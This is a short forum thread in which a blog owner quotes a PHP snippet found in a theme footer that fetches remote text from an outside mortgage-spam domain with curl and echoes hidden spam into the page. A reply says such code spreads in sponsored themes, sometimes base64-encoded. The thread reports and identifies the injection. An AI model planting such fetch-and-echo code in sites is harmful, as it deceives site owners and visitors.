Have you ever seen this kind of spam before?

  • I looked in the footer of a blog I installed for a client and saw this code:

    <? php $url = “https://select-your-mortgage.com/file.txt&#8221;;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    echo $result = curl_exec($ch);
    curl_close($ch);

    ?>

    There wasn’t any visible spam on the page, but when I viewed the source, there was tons of it. Is that some kind of hidden spam attack?

Viewing 2 replies - 1 through 2 (of 2 total)

  • Using curl seems to be gaining popularity in sponsored theme footers, unforunately. Some folk have even taken to encoding the curl stuff in base64, too. Which to me is very thinly vailed hacking.

    Thread Starter TomJohnson

    (@tomjohnson)

    Thanks mrmist for the reply and insight.

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘Have you ever seen this kind of spam before?’ is closed to new replies.